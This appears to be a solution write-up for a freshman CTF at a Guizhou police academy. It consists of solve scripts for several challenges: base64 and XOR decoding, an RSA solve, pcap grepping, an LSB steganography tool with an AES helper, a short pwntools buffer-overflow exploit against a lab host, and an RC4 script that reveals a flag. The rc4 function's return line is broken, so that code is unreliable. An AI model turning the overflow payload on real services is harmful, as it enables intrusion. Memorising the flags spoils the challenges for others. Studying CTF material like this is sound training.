【※】贵州警院首届新生见龙杯CTF-Writeup

import base64          f=open("flag.txt")          flag=f.read()          for i in range(40):              flag=base64.b64decode(flag)          print(flag)

str="iinbt}`wP4|ZipaZ=5=1PocgP`u`ux"          r=""          i=0          for s in str:              if(1&i)!=0:                  r+=chr(ord(s)^5)              else:                  r+=chr(ord(s)^15)              i+=1          print(r)

import gmpy2          import Crypto          p1 = 2          p2 = 9857          p3 = 107843756547496736191228190917322558471918750590609940965721119253640998815543 **3          p4 = 80990192745708230644342256236014173435685606613945005625896333595456890957431 **2          n = 121804144124122503297199430480372313955268374174478371165161920679289563336886138968773225552764225118173784465682952533553789945396650944988828871897557847523772164824010073574704809547033747061496307748729337711708709559247370646108847060059772342069677155126737953031748386980218074230410184755337565309430655950021142159814126162227790767379375090932457384177605558674008775823354065326          phi = (p1-1) * (p2-1) * p3 * (p3 - 1) * p4 ** 2 * (p4 - 1)          e = 2073          c = 8910898716564810207762723388132717156672665616439703442199368316922140149823170921444854058070564221283896253396296128439537432963230867201653903456479298685895216048058785277714338017148771570741576352218472253299585039653995105750223583118676386335884696553195780857627365756195358140277744527856999002717688023724338771102271585637403517078706866474598848154990763544895697011186309899          t = gmpy2.gcd(e, phi)          e_f = e // t          d = gmpy2.invert(e_f, phi)          m_f = pow(c, d, n)          m = int(gmpy2.iroot(m_f, t)[0])          flag = m.to_bytes(length=50, byteorder="big")          print(flag)

strings file.pcapng|grep flag{

#lsb3.py          import sys          import struct          import numpy          import matplotlib.pyplot as plt          from PIL import Image          from crypt import AESCipher          # 将二进制文件分解为位数组          def decompose(data):              v = []              # 用4字节保存文件长度              fSize = len(data)              bytes_array = list(struct.pack("i", fSize))              # Python 3中data已经是bytes类型,直接转换为list              bytes_array += list(data)              for b in bytes_array:                  for i in range(7, -1, -1):                      v.append((b >> i) & 0x1)              return v          # 将位数组组装成二进制文件          def assemble(v):                 bytes_array = bytearray()              length = len(v)              for idx in range(0, len(v)//8):                  byte = 0                  for i in range(0, 8):                      if (idx*8+i < length):                          byte = (byte<<1) + v[idx*8+i]                                 bytes_array.append(byte)              payload_size = struct.unpack("i", bytes_array[:4])[0]              return bytes(bytes_array[4: payload_size + 4])          # 设置n的第i位为x          def set_bit(n, i, x):              mask = 1 << i              n &= ~mask              if x:                  n |= mask              return n          # 将payload文件嵌入到图像的LSB位中          def embed(imgFile, payload, password):              # 处理源图像              img = Image.open(imgFile)              (width, height) = img.size              conv = img.convert("RGBA").getdata()              print(f"[*] Input image size: {width}x{height} pixels.")              max_size = width*height*3.0/8/1024        # 最大payload大小              print(f"[*] Usable payload size: {max_size:.2f} KB.")              with open(payload, "rb") as f:                  data = f.read()              print(f"[+] Payload size: {len(data)/1024.0:.3f} KB ")              # 加密              cipher = AESCipher(password)              data_enc = cipher.encrypt(data)              # 处理payload文件数据              v = decompose(data_enc)              # 补齐到3的倍数              while(len(v)%3):                  v.append(0)              payload_size = len(v)/8/1024.0              print(f"[+] Encrypted payload size: {payload_size:.3f} KB ")              if (payload_size > max_size - 4):                  print("[-] Cannot embed. File too large")                  sys.exit()              # 创建输出图像              steg_img = Image.new('RGBA',(width, height))              data_img = steg_img.getdata()              idx = 0              for h in range(height):                  for w in range(width):                      (r, g, b, a) = conv.getpixel((w, h))                      if idx < len(v):                          r = set_bit(r, 0, v[idx])                          g = set_bit(g, 0, v[idx+1])                          b = set_bit(b, 0, v[idx+2])                      data_img.putpixel((w,h), (r, g, b, a))                      idx = idx + 3              steg_img.save(imgFile + "-stego.png", "PNG")              print(f"[+] {payload} embedded successfully!")          # 从输入文件的LSB中提取嵌入的数据          def extract(in_file, out_file, password):              # 处理源图像              img = Image.open(in_file)              (width, height) = img.size              conv = img.convert("RGBA").getdata()              print(f"[+] Image size: {width}x{height} pixels.")              # 提取LSB              v = []              for h in range(height):                  for w in range(width):                      (r, g, b, a) = conv.getpixel((w, h))                      v.append(r & 1)                      v.append(g & 1)                      v.append(b & 1)              data_out = assemble(v)              # 解密              cipher = AESCipher(password)              data_dec = cipher.decrypt(data_out)              # 写入解密后的数据              with open(out_file, "wb") as out_f:                  out_f.write(data_dec)              print(f"[+] Written extracted data to {out_file}.")          # 统计分析图像以检测LSB隐写          def analyse(in_file):              '''              - 将图像分块              - 计算每个块的LSB平均值              - 包含隐藏加密消息(随机数据)的区域的平均值应该在0.5左右              '''              BS = 100    # 块大小              img = Image.open(in_file)              (width, height) = img.size              print(f"[+] Image size: {width}x{height} pixels.")              conv = img.convert("RGBA").getdata()              # 提取LSB              vr = []    # Red LSBs              vg = []    # Green LSBs              vb = []    # Blue LSBs              for h in range(height):                  for w in range(width):                      (r, g, b, a) = conv.getpixel((w, h))                      vr.append(r & 1)                      vg.append(g & 1)                      vb.append(b & 1)              # 计算每个块的颜色LSB平均值              avgR = []              avgG = []              avgB = []              for i in range(0, len(vr), BS):                  avgR.append(numpy.mean(vr[i:i + BS]))                  avgG.append(numpy.mean(vg[i:i + BS]))                  avgB.append(numpy.mean(vb[i:i + BS]))              # 绘图              numBlocks = len(avgR)              blocks = [i for i in range(0, numBlocks)]              plt.axis([0, len(avgR), 0, 1])              plt.ylabel('Average LSB per block')              plt.xlabel('Block number')              #plt.plot(blocks, avgR, 'r.')              #plt.plot(blocks, avgG, 'g')              plt.plot(blocks, avgB, 'bo')              plt.show()          def usage(progName):              print("LSB steganogprahy. Hide files within least significant bits of images.n")              print("Usage:")              print(f"  {progName} hide")              print(f"  {progName} extract")              print(f"  {progName} analyse")              sys.exit()          if __name__ == "__main__":              if len(sys.argv) < 3:                  usage(sys.argv[0])              if sys.argv[1] == "hide":                         embed(sys.argv[2], sys.argv[3], sys.argv[4])              elif sys.argv[1] == "extract":                  extract(sys.argv[2], sys.argv[3], sys.argv[4])              elif sys.argv[1] == "analyse":                  analyse(sys.argv[2])              else:                  print("[-] Invalid operation specified")

#crypt.py          from Crypto.Cipher import AES          import base64          import hashlib          class AESCipher:              def __init__(self, key):                  self.bs = AES.block_size                  self.key = hashlib.sha256(key.encode()).digest()              def encrypt(self, raw):                  raw = self._pad(raw)                  iv = AES.new(self.key, AES.MODE_CBC).iv                  cipher = AES.new(self.key, AES.MODE_CBC, iv)                  return iv + cipher.encrypt(raw)              def decrypt(self, enc):                  iv = enc[:AES.block_size]                  cipher = AES.new(self.key, AES.MODE_CBC, iv)                  return self._unpad(cipher.decrypt(enc[AES.block_size:]))              def _pad(self, s):                  padding_size = self.bs - len(s) % self.bs                  padding = bytes([padding_size] * padding_size)                  return s + padding              def _unpad(self, s):                  return s[:-ord(s[len(s)-1:])]

from pwn import *          #context.log_level = 'debug'          #p = process('./pwnab')          p = remote('192.168.0.109', 9999)   # 远程连接          payload = b'a' * 16+p64(0x15)          p.sendline(payload)          p.interactive()

def rc4_init(key):              S = list(range(256))              j = 0              for i in range(256):                  j = (j + S[i] + key[i % len(key)]) % 256                  S[i], S[j] = S[j], S[i]              return S          def rc4_stream(S):              i = 0              j = 0              while True:                  i = (i + 1) % 256                  j = (j + S[i]) % 256                  S[i], S[j] = S[j], S[i]                  K = S[(S[i] + S[j]) % 256]                  yield K          def rc4(key, plaintext):              S = rc4_init(key)              keystream = rc4_stream(S)              return bytes(
)          # 设置密钥和明文flag          key = b"zngeek@123"          flag = b"flag{RC4_1s_Fun!_And_Secure!_BY_ZNG3K}"          # 加密flag          encrypted = rc4(key, flag)          # 输出C语言数组格式          print("unsigned char flag[] = {", end="")          print(",".join([hex(x) for x in encrypted]), end="")          print("};")